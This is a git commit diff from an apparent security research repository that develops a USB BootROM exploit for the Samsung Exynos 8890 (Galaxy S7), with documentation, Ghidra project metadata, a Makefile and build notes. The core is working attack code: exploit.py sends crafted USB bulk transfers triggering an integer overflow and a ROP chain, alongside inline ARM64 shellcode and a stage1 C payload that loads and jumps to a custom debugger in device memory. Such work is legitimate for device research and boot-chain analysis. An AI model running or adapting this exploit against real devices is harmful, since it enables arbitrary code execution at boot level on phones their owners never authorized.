Merging small docs update
This commit is contained in:
Jonathan Herrewijnen 2024-08-06 08:00:22 +02:00
commit 679d96f121
32 changed files with 304 additions and 237 deletions

View File

@ -0,0 +1,13 @@
=======
Booting
=======
After exploitation the goal is to fully boot the device.
debugger
========
Some other information about the debugger and it's current state.
ROM
---

View File

@ -9,6 +9,8 @@ Protections
-----------
There are no stack canaries or guard pages, and no ASLR. Meaning there are almost no protections in place.
Rom is at address 0x0 and is unwritable(Sometimes this is writeable due to MMU caching).
Samsung Firmware
----------------
Samsung releases firmware files for their devices. These files contain the bootloader, modem, and other firmware files.

View File

@ -12,5 +12,6 @@ Documentation on Samsung devices, currently mainly the Samsung S7.
:caption: BootROMs:
BootROM_8890/index.rst
BootROM_8890/boot_chain.rst

View File

@ -1,9 +1,9 @@
#Ghidra Lock File
#Wed Jul 31 20:30:18 CEST 2024
#Sat Aug 03 17:14:04 CEST 2024
OS\ Name=Linux
OS\ Version=6.5.0-41-generic
OS\ Version=6.5.0-44-generic
Username=eljakim
Hostname=levith
<META>\ Supports\ File\ Channel\ Locking=Channel Lock
OS\ Architecture=amd64
Timestamp=7/31/24, 8\:30 PM
Timestamp=8/3/24, 5\:14 PM

View File

@ -2,14 +2,14 @@
<FILE_INFO>
<BASIC_INFO>
<STATE NAME="EXCLUSIVE" TYPE="boolean" VALUE="false" />
<STATE NAME="CHECKOUT_VERSION" TYPE="int" VALUE="1" />
<STATE NAME="CHECKOUT_VERSION" TYPE="int" VALUE="-1" />
<STATE NAME="CONTENT_TYPE" TYPE="string" VALUE="Program" />
<STATE NAME="PARENT" TYPE="string" VALUE="/" />
<STATE NAME="FILE_ID" TYPE="string" VALUE="7f0119bc3142241939494339" />
<STATE NAME="FILE_ID" TYPE="string" VALUE="7f011889d240069673442230" />
<STATE NAME="FILE_TYPE" TYPE="int" VALUE="0" />
<STATE NAME="LOCAL_CHECKOUT_VERSION" TYPE="int" VALUE="1" />
<STATE NAME="LOCAL_CHECKOUT_VERSION" TYPE="int" VALUE="-1" />
<STATE NAME="READ_ONLY" TYPE="boolean" VALUE="false" />
<STATE NAME="CHECKOUT_ID" TYPE="long" VALUE="2" />
<STATE NAME="NAME" TYPE="string" VALUE="8890_bootrom.bin" />
<STATE NAME="CHECKOUT_ID" TYPE="long" VALUE="-1" />
<STATE NAME="NAME" TYPE="string" VALUE="8890_bootrom.bin.keep" />
</BASIC_INFO>
</FILE_INFO>

View File

@ -1,4 +1,11 @@
VERSION=1
/
NEXT-ID:0
00000002:8890_bootrom.bin:7f0119bc3142241939494339
/mib3
00000000:full_boot:7f0118059140616855428589
/s7
00000003:sboot.bin.2.bin:7f011ab837995028720085
00000004:sboot.bin.3.bin:7f011872b8163836628792
00000005:sboot.bin.4.bin:7f011842b8231996037592
NEXT-ID:6
MD5:d41d8cd98f00b204e9800998ecf8427e

View File

@ -3,5 +3,9 @@ VERSION=1
00000002:8890_bootrom.bin:7f0119bc3142241939494339
/mib3
00000000:full_boot:7f0118059140616855428589
NEXT-ID:3
/s7
00000003:sboot.bin.2.bin:7f011ab837995028720085
00000004:sboot.bin.3.bin:7f011872b8163836628792
00000005:sboot.bin.4.bin:7f011842b8231996037592
NEXT-ID:6
MD5:d41d8cd98f00b204e9800998ecf8427e

View File

@ -1,10 +0,0 @@
FADD:/NewFolder
FMV:/NewFolder:/mib3
IADD:00000000:/mib3/fwbl1_a.bin
IDSET:/mib3/fwbl1_a.bin:7f0118059140616855428589
IMV:/mib3/fwbl1_a.bin:/mib3/full_boot
IADD:00000001:/mib3/8890_bootrom.bin
IDSET:/mib3/8890_bootrom.bin:7f011974d142238523757581
IADD:00000002:/8890_bootrom.bin
IDSET:/8890_bootrom.bin:7f0119bc3142241939494339
IDEL:/mib3/8890_bootrom.bin

View File

@ -1,4 +1,8 @@
VERSION=1
/
NEXT-ID:0
00000000:udf_7f0118059140616855428589:7f0118d0b142268235940037
00000003:udf_7f011872b8163836628792:7f011a9478217161533597
00000001:udf_7f0119bc3142241939494339:7f011abb7142807435236045
00000002:udf_7f011ab837995028720085:7f0118cdd8148515697603
NEXT-ID:4
MD5:d41d8cd98f00b204e9800998ecf8427e

View File

@ -1,5 +1,9 @@
VERSION=1
/
00000000:udf_7f0118059140616855428589:7f0118d0b142268235940037
NEXT-ID:1
00000004:udf_7f011842b8231996037592:7f01190f112184430945139
00000003:udf_7f011872b8163836628792:7f011a9478217161533597
00000001:udf_7f0119bc3142241939494339:7f011abb7142807435236045
00000002:udf_7f011ab837995028720085:7f0118cdd8148515697603
NEXT-ID:5
MD5:d41d8cd98f00b204e9800998ecf8427e

View File

@ -1,2 +1,2 @@
IADD:00000000:/udf_7f0118059140616855428589
IDSET:/udf_7f0118059140616855428589:7f0118d0b142268235940037
IADD:00000004:/udf_7f011842b8231996037592
IDSET:/udf_7f011842b8231996037592:7f01190f112184430945139

View File

@ -1,2 +0,0 @@
IADD:00000001:/udf_7f0119bc3142241939494339
IDSET:/udf_7f0119bc3142241939494339:7f011abb7142807435236045

View File

@ -1,2 +1,4 @@
*.elf
*.o
*.bin
venv/

View File

@ -11,6 +11,15 @@
"program": "exploit.py",
"console": "integratedTerminal",
"args": ["--debug"]
},
{
"name": "Run chain",
"type": "debugpy",
"request": "launch",
"program": "exploit.py",
"console": "integratedTerminal",
"justMyCode": false,
"args": []
}
]
}

17
source/exploit/Readme.md Normal file
View File

@ -0,0 +1,17 @@
# Exploit
Python implementation of Frederick's exploit. This gives a bit more insight in the bug.
## Debugger
The debugger is used for chain loading the next stages. See the documentation folder for more docs
## Usage
Navigate to stage1 and build it:
```
export ANDROID_NDK_ROOT=$TOOLCHAINENV/android-ndk-r21_Linux
make
```
This will build stage1
```bash
python3 exploit.py
```

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -3,6 +3,9 @@ import struct, sys, usb1, libusb1, ctypes, usb, argparse
from keystone import *
from capstone import *
from ghidra_assistant.utils.utils import *
from ghidra_assistant.concrete_device import *
from ghidra_assistant.utils.debugger.debugger_archs.ga_arm64 import GA_arm64_debugger
from qiling.const import QL_ARCH
def p32(x):
return struct.pack("<I", x)
@ -16,6 +19,9 @@ def p16(x):
def p64(x):
return struct.pack("<Q", x)
logger = setup_logger("") #Leave empty to get root logger
logger.setLevel(logging.DEBUG)
BLOCK_SIZE = 512
CHUNK_SIZE = 0xfffe00
MAX_PAYLOAD_SIZE = (BLOCK_SIZE - 10)
@ -35,6 +41,9 @@ TARGET_OFFSETS = {
ENDPOINT_BULK_IN = 0x81
ENDPOINT_BULK_OUT = 0x2
ks = Ks(KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN)
cs = Cs(CS_ARCH_ARM64, CS_MODE_LITTLE_ENDIAN)
class ExynosDevice():
def __init__(self, idVendor=0x04e8, idProduct=0x1234):
@ -58,27 +67,22 @@ class ExynosDevice():
print("Connected device!")
def write(self, data, size=-1):
transfered = 0
def write(self, data):
transferred = ctypes.c_int()
if size == -1:
size = len(data)
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, data, len(data), ctypes.byref(transferred), 0)
assert(res == 0)
return transfered
assert(res == 0), "Could not perform bulk transfer"
return res
def send_empty_transfer(self):
transfered = 0x200
transferred = ctypes.c_int()
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, 0, 0, ctypes.byref(transferred), 0)
assert(res == 0)
return transfered
return transferred.value
def test_bug_2(self):
# Also bug here
# payload = p32(1) + p32(CHUNK_SIZE + 0x2001) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
# self.write(payload, MAX_PAYLOAD_SIZE)
# self.write(b"\xaa" * CHUNK_SIZE, CHUNK_SIZE)
'''
Interger overflow in last packet if reamining size is 1.
'''
transferred = ctypes.c_int()
bug_payload = p32(0) + p32(0x201 + 2 + MAX_PAYLOAD_SIZE + 0x7) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
@ -103,7 +107,7 @@ class ExynosDevice():
payload = p32(0) + p32(0xFDFDE7FF + 0x1000) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
assert (len(payload) == BLOCK_SIZE)
self.write(payload, MAX_PAYLOAD_SIZE)
res = self.write(payload, MAX_PAYLOAD_SIZE)
for i in range(200):
print(hex(self.send_empty_transfer()))
@ -112,6 +116,9 @@ class ExynosDevice():
sys.exit(0)
def send_normal(self, payload):
'''
TODO not working
'''
# construct dl_data
payload = struct.pack("<II", 0, len(payload)) #+ (payload + b"\x00" * 2)
transferred = ctypes.c_int()
@ -120,6 +127,9 @@ class ExynosDevice():
pass
def exploit(self, payload: bytes):
'''
Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload
'''
current_offset = TARGET_OFFSETS[self.target][0]
transferred = ctypes.c_int()
@ -166,110 +176,106 @@ class ExynosDevice():
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, rop_chain, len(rop_chain), ctypes.byref(transferred), 0)
assert res == 0, "Error sending ROP chain"
def usb_write(self, data):
assert len(data) <= 0x200, "Data too big"
transferred = ctypes.c_int()
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, data, len(data), ctypes.byref(transferred), 300)
assert res == 0, f"Error sending data {res}"
assert transferred.value == len(data), f"Invalid transfered size {transferred.value} != {len(data)}"
return transferred.value
def usb_read(self, size):
transferred = ctypes.c_int()
buf = ctypes.c_buffer(b"", size)
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_IN, buf, len(buf), ctypes.byref(transferred), 300)
assert res == 0, f"Error receiving data {res}"
return buf.raw[:transferred.value]
def setup_concrete_device(self, concrete_device : ConcreteDevice):
#Setup architecture
concrete_device.arch = QL_ARCH.ARM64
concrete_device.ga_debugger_location = 0x2069000 # TODO, not used yet
concrete_device.ga_vbar_location = 0x206d000 + 0x1000
concrete_device.ga_storage_location = 0x206d000
concrete_device.ga_stack_location = 0x206b000
concrete_device.arch_dbg = GA_arm64_debugger(concrete_device.ga_vbar_location, concrete_device.ga_debugger_location, concrete_device.ga_storage_location)
concrete_device.arch_dbg.read = self.usb_read
concrete_device.arch_dbg.write = self.usb_write
#Overwrite all calls to make the concrete target function properly
concrete_device.copy_functions()
def setup_debugger(self):
'''
Setup the debugger as a concrete device
'''
self.cd = ConcreteDevice(None, False)
self.cd.dev = self.setup_concrete_device(self.cd)
self.cd.test_connection()
def dumb_interact(self):
'''
Room for playing around with the debugger
'''
self.cd.arch_dbg.state.auto_sync = False
self.cd.arch_dbg.state.print_ctx()
AUTH_BL1 = 0x00012848
def memdump_try():
dumped = b""
for block in range(0x2020000, 0x2200000, 0x200):
print(hex(block))
dumped += self.cd.memdump_region(block, 0x200)
def auth_bl1():
# Load the firmware
self.cd.arch_dbg.state.X0 = 1
self.cd.arch_dbg.state.X1 = 1
self.cd.arch_dbg.state.LR = 0x2069000 #jump back to debugger when finished
self.cd.restore_stack_and_jump(AUTH_BL1)
fwbl1 = open("../S7/fwbl1.bin", "rb").read()
self.cd.memwrite_region(0x02021800, fwbl1)
memdump_try()
auth_bl1()
self.cd.arch_dbg.state.print_ctx()
#authenticate it
pass
def run_boot_chain(self):
stage1 = open("stage1/stage1.bin", "rb").read()
self.exploit(stage1)
def run_debugger():
# TODO, hardcoded path
debugger = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read()
debugger += ((0x2000 - len(debugger)) * b"\x00")
assert len(debugger) == 0x2000, "Invalid debugger size, stage1 requires 0x2000 size"
for block in range(0, len(debugger), 0x200):
self.usb_write(debugger[block:block+0x200])
# time.sleep(.5) # Wait a little bit
assert self.usb_read(0x200) == b"GiAs", "No response from debugger"
# Test basic functionality
self.usb_write(b"PING")
r = self.usb_read(0x200)
assert r == b"PONG", f"Invalid response from device: {r}"
run_debugger()
self.setup_debugger()
self.dumb_interact()
ks = Ks(KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN)
cs = Cs(CS_ARCH_ARM64, CS_MODE_LITTLE_ENDIAN)
def usb_debug():
shellcode = f"""
start:
adr x0, test_fun
ldr x0, [x0]
blr x0
'''
Function to debug USB behavior
'''
mov w1, #0x20000 // size
mov w0, #0x0 // address
bl usb_send
mov x0, #0
br x0 //reset
#Setup read usb
mov w0, #0x2
adr x1, shellcode_base
ldr x1, [x1]
mov w2, #0x02020000
add w2, w2, #0x2000
# endpoint, cb, buffer
adr x5, maybe_usb_setup_read
ldr x5, [x5]
blr x5
# Get something?? arg0 is endpoint
mov w0, #0x2
adr x1, maybe_read_size_endpoint
ldr x1, [x1]
blr x1
# # Send some data from ROM
# mov w1, #0x200 // size
# mov w0, #0x0 // address
# bl usb_send
# mov x0, #0
# br x0 //reset
# # dwc3_ep0_start_trans
# mov w1, w0
# mov w0, #0x2
# mov w2, #0x200
# adr x5, dwc3_ep0_start_trans
# ldr x5, [x5]
# blr x5
# # Send some data from ROM
# mov w1, #0x200 // size
# mov w0, #0x0 // address
# bl usb_send
# mov x0, #0
# br x0 //reset
usb_send:
stp x29, x30, [sp,#-48]!
mov w3, #0x0
bfxil w3, w1, #0, #24
mov w1, #0xc12
mov x29, sp
stp x19, x20, [sp,#16]
mov x5, #0xc834
mov w20, #0x1
movk x5, #0x1540, lsl #16
ldr x2, [x29,#40]
mov x4, #0xc838
orr w6, w1, w20
movk x4, #0x1540, lsl #16
mov x19, #0xc83c
movk x19, #0x1540, lsl #16
stp w3, w1, [x2,#8]
mov w3, #0x406
stp w0, wzr, [x2]
mov w0, w20
ldr x1, [x29,#40]
strb w6, [x2,#12]
mov x2, #0x27c8
str w1, [x5]
mov w1, #0x1388
str wzr, [x4]
str w3, [x19]
blr x2
mov w0, w20
ldr w1, [x19]
ldp x19, x20, [sp,#16]
ldp x29, x30, [sp],#48
ret
usb_read_endpoint: .quad 0x00006654
maybe_usb_setup_read: .quad 0x00006f88
shellcode_base: .quad 0x02021800
maybe_read_size_endpoint: .quad 0x00007a7c
dwc3_ep0_start_trans: .quad 0x0000791c
test_fun: .quad 0x000064e0
"""
shellcode = ks.asm(shellcode, as_bytes=True)[0]
shellcode = open("dwc3.bin", "rb").read()
shellcode = open("../dwc3_test/dwc3.bin", "rb").read()
assert len(shellcode) <= MAX_PAYLOAD_SIZE, "Shellcode too big"
exynos = ExynosDevice()
@ -302,20 +308,10 @@ def usb_debug():
if __name__ == "__main__":
arg = argparse.ArgumentParser("Exynos exploit")
arg.add_argument("--debug", action="store_true")
arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False)
args = arg.parse_args()
if args.debug:
usb_debug()
sys.exit
# usb_debug()
# sys.exit(0)
# wait_for_device()
exynos = ExynosDevice()
exynos.send_normal(open("S7/fwbl1.bin", 'rb').read())
sys.exit()
# exynos.test_bug_2()
sys.exit(0)
path = "dump/exynos-usbdl/payloads/Exynos8890_dump_bootrom.bin"
# path = "/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin"
exynos.exploit(open(path, "rb").read())
pass
exynos = ExynosDevice()
exynos.run_boot_chain()

View File

@ -1,9 +1,11 @@
from ghidra_assistant.ghidra_assistant import GhidraAssistant
if __name__ == "__main__":
rom = open("S7/rom.bin", 'rb').read()
# rom = open("S7/rom.bin", 'rb').read()
imem = open("exynos_imem_0x02020000_0x2070000.bin", 'rb').read()
ga = GhidraAssistant()
ga.ghidra.add_memory(rom, 0x0, True, "ROM")
# ga.ghidra.add_memory(rom, 0x0, True, "ROM")
ga.ghidra.add_memory(imem, 0x02020000, True, "IMEM")
pass

View File

@ -1,5 +0,0 @@
# Exploit
## test_dwc3
simple dwc3 usb implementation to send/receive data.

3
source/exploit/stage1/.gitignore vendored Normal file
View File

@ -0,0 +1,3 @@
*.o
*.bin
*.elf

View File

@ -10,8 +10,8 @@ LD := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linu
#==================Target Samsung S7 (8890)==================
CFLAGS_SAMSUNGS7 = -Os
dwc3:
stage1:
$(CC) entry.S -c -o entry.o $(CFLAGS_SAMSUNGS7)
$(CC) $(CFLAGS_SAMSUNGS7) -c test_dwc3.c -o dwc3.o
$(LD) -T test_dwc3.ld entry.o dwc3.o -o dwc3.elf --just-symbols=symbols.txt
$(OBJCOPY) -O binary dwc3.elf dwc3.bin
$(CC) $(CFLAGS_SAMSUNGS7) -c stage1.c -o stage1.o
$(LD) -T linkscript.ld entry.o stage1.o -o stage1.elf --just-symbols=symbols.txt
$(OBJCOPY) -O binary stage1.elf stage1.bin

View File

@ -0,0 +1,5 @@
# Stage 1
Stage 1 is responsible for loading the debugger.
## Memory map
![memory map](memory_map.drawio.svg)

View File

@ -1,5 +1,5 @@
MEMORY {
ROM (rwx): ORIGIN = 0x02021800, LENGTH = 0x1000
ROM (rwx): ORIGIN = 0x02021800, LENGTH = 502
}
SECTIONS

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 9.7 KiB

View File

@ -0,0 +1,86 @@
#include <stdint.h>
// Create external function at 0x00006f88
extern void maybe_usb_setup_read(char endpoint,void *fun,uint32_t target_buffer);
extern void dwc3_ep0_start_trans(char endpoint,uint32_t target_buf, uint32_t len);
extern int usb_event_handler(void);
extern uint32_t get_endpoint_recv_buffer(char endpoint);
extern void sleep(int endpoint,uint32_t timeout);
extern void usb_send(uint32_t address,uint32_t size);
extern void rom_send();
#define recv_buffer 0x206fe00 //0x02021800 + 0x3000
#define data_received 0x206fd00
void recv_data_cb(uint32_t endpoint, uint32_t len){
char *dest_buf = (char *)recv_buffer;
volatile void *dref = (void *)data_received;
void *rbuf = get_endpoint_recv_buffer(endpoint);
for(int i= 0; i < len; i++){
dest_buf[i] = *(char *)(void *)((int)rbuf + i);
}
*(uint8_t *)dref = 1; // Mark as ready
}
void recv_data(uint32_t address, uint32_t size){
//
volatile void *dref = (void *)data_received;
*(uint8_t *)dref = 0;
maybe_usb_setup_read(2, recv_data_cb, 0x200);
uint32_t rbuf = get_endpoint_recv_buffer(2);
dwc3_ep0_start_trans(2, rbuf, 0x200);
while(1){
usb_event_handler();
if(*(uint8_t *)dref == 1){
break;
}
}
// Copy to destination location
char *dest_buf = (char *)address;
for(int i= 0; i < size; i++){
dest_buf[i] = *(char *)(void *)((int)recv_buffer + i);
}
}
// void send_data_cb(uint32_t endpoint, uint32_t len){
// // Tell event handler that the data was received
// volatile void *dref = (void *)data_received;
// *(uint8_t *)dref = 1; // Mark as ready
// }
// void send_data(uint32_t address, uint32_t size){
// volatile void *dref = (void *)data_received;
// *(uint8_t *)dref = 0;
// maybe_usb_setup_read(0x1, send_data_cb, size);
// // uint32_t rbuf = get_endpoint_recv_buffer(1);
// dwc3_ep0_start_trans(1, address, size);
// while(1){
// usb_event_handler();
// if(*(uint8_t *)dref == 1){
// break;
// }
// }
// }
#define debugger_location 0x2069000
int main() {
// First payload is 0x2000 in size
int block_sz = 0x200;
int to_recv = 0x2000;
for(int block = 0; block < to_recv; block+=block_sz){
recv_data(0x2069000 + block, block_sz);
}
// Create function at debugger_location
void (*custom_func)() = (void*)0x2069000; //mem_off;
custom_func();
// uint32_t count = 0;
// while(1){
// // recv_data();
// // send_data(recv_buffer, 0x200);
// // send_data("GiAs", 4);
// }
}

View File

@ -1,72 +0,0 @@
#include <stdint.h>
// Create external function at 0x00006f88
extern void maybe_usb_setup_read(char endpoint,void *fun,uint32_t target_buffer);
extern void dwc3_ep0_start_trans(char endpoint,uint32_t target_buf, uint32_t len);
extern int usb_event_handler(void);
extern uint32_t get_endpoint_recv_buffer(char endpoint);
extern void sleep(int endpoint,uint32_t timeout);
extern void usb_send(uint32_t address,uint32_t size);
extern void rom_send();
#define recv_buffer 0x02021800 + 0x3000
#define data_received 0x02021800 + 0x2004
void recv_data_cb(uint32_t endpoint, uint32_t len){
char *dest_buf = (char *)recv_buffer;
volatile void *dref = (void *)data_received;
void *rbuf = get_endpoint_recv_buffer(endpoint);
for(int i= 0; i < len; i++){
dest_buf[i] = *(char *)(void *)((int)rbuf + i);
}
*(uint8_t *)dref = 1; // Mark as ready
}
void recv_data(){
// Set data_received to 0
// uint32_t *r = (uint32_t *) data_received;
// r = 0;
volatile void *dref = (void *)data_received;
*(uint8_t *)dref = 0;
maybe_usb_setup_read(2, recv_data_cb, 0x200);
uint32_t rbuf = get_endpoint_recv_buffer(2);
dwc3_ep0_start_trans(2, rbuf, 0x200);
while(1){
usb_event_handler();
if(*(uint8_t *)dref == 1){
break;
}
}
}
void send_data_cb(uint32_t endpoint, uint32_t len){
// Tell event handler that the data was received
volatile void *dref = (void *)data_received;
*(uint8_t *)dref = 1; // Mark as ready
}
void send_data(uint32_t address, uint32_t size){
volatile void *dref = (void *)data_received;
*(uint8_t *)dref = 0;
maybe_usb_setup_read(0x1, send_data_cb, 0x200);
// uint32_t rbuf = get_endpoint_recv_buffer(1);
dwc3_ep0_start_trans(1, address, 0x200);
while(1){
usb_event_handler();
if(*(uint8_t *)dref == 1){
break;
}
}
}
int main() {
uint32_t count = 0;
while(1){
recv_data();
send_data(recv_buffer, 0x200);
}
}